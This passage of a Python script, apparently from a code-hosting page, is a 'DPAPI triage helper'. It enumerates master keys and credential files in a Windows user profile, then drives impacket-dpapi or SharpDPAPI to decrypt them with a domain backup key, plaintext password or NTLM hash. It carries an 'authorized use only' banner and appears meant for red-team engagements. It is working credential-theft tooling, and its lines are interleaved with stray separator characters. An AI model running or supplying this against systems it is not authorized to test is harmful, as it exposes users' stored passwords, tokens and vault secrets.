cmd = [tool, "masterkey", "-file", mk_file, "-pvk", pvk]
|
||||
rc, out, err = run_cmd(cmd, timeout)
|
||||
return {"file": mk_file, "rc": rc, "output": (out or err).strip()[:2000]}
|
||||
|
||||
|
||||
def sharpdpapi_triage(tool, profile, pvk, password, ntlm, timeout):
|
||||
"""Build and run a SharpDPAPI triage command appropriate to the inputs."""
|
||||
cmd = [tool, "triage"]
|
||||
if pvk:
|
||||
cmd += [f"/pvk:{pvk}"]
|
||||
elif password:
|
||||
cmd += [f"/password:{password}"]
|
||||
elif ntlm:
|
||||
cmd += [f"/ntlm:{ntlm}"]
|
||||
else:
|
||||
cmd += ["/unprotect"]
|
||||
rc, out, err = run_cmd(cmd, timeout)
|
||||
return {"rc": rc, "output": (out or err).strip()}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Authorized DPAPI triage helper")
|
||||
parser.add_argument("--profile", help="Path to a (mounted) Windows user profile")
|
||||
parser.add_argument("--pvk", help="Domain DPAPI backup key (.pvk)")
|
||||
parser.add_argument("--password", help="User plaintext password")
|
||||
parser.add_argument("--ntlm", help="User NTLM hash")
|
||||
parser.add_argument("--mode", choices=["enumerate", "impacket", "sharpdpapi"],
|
||||
default="enumerate",
|
||||
help="enumerate artifacts, or drive a decryption tool")
|
||||
parser.add_argument("--timeout", type=int, default=120, help="Per-command timeout")
|
||||
args = parser.parse_args()
|
||||
|
||||
ts = datetime.now(timezone.utc).isoformat()
|
||||
print(f"[*] DPAPI triage helper — {ts}")
|
||||
print("[!] Authorized use only. Confirm rules-of-engagement before proceeding.\n")
|
||||
|
||||
if args.mode in ("enumerate", "impacket"):
|
||||
if not args.profile or not os.path.isdir(args.profile):
|
||||
print("[!] --profile must point to an existing user profile directory",
|
||||
file=sys.stderr)
|
||||
sys.exit(2)
|
||||
artifacts = enumerate_artifacts(args.profile)
|
||||
for kind, items in artifacts.items():
|
||||
print(f"--- {kind.upper()} ({len(items)}) ---")
|
||||
for p in items:
|
||||
print(f" {p}")
|
||||
if args.mode == "impacket":
|
||||
if not args.pvk:
|
||||
print("\n[!] --pvk required for impacket master key decryption",
|
||||
file=sys.stderr)
|
||||
sys.exit(2)
|
||||
tool = find_tool(["impacket-dpapi", "dpapi.py"])
|
||||
if not tool:
|
||||
print("[!] impacket-dpapi not found. Install: pipx install impacket",
|
||||
file=sys.stderr)
|
||||
sys.exit(2)
|
||||
print("\n=== Decrypting master keys with backup key ===")
|
||||
for mk in artifacts["masterkeys"]:
|
||||
res = decrypt_masterkey_impacket(tool, mk, args.pvk, args.timeout)
|
||||
print(f" [{res['rc']}] {res['file']}")
|
||||
if res["output"]:
|
||||
print(f" {res['output'][:300]}")
|
||||
return
|
||||
|
||||
# sharpdpapi mode (Windows operator host)
|
||||
tool = find_tool(["SharpDPAPI.exe", "SharpDPAPI"])
|
||||
if not tool:
|
||||
print("[!] SharpDPAPI not found on PATH. Build from "
|
||||
"https://github.com/GhostPack/SharpDPAPI", file=sys.stderr)
|
||||
sys.exit(2)
|
||||
result = sharpdpapi_triage(tool, args.profile, args.pvk, args.password,
|
||||
args.ntlm, args.timeout)
|
||||
print("=== SharpDPAPI triage ===")
|
||||
print(result["output"])
|
||||
sys.exit(0 if result["rc"] == 0 else 1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user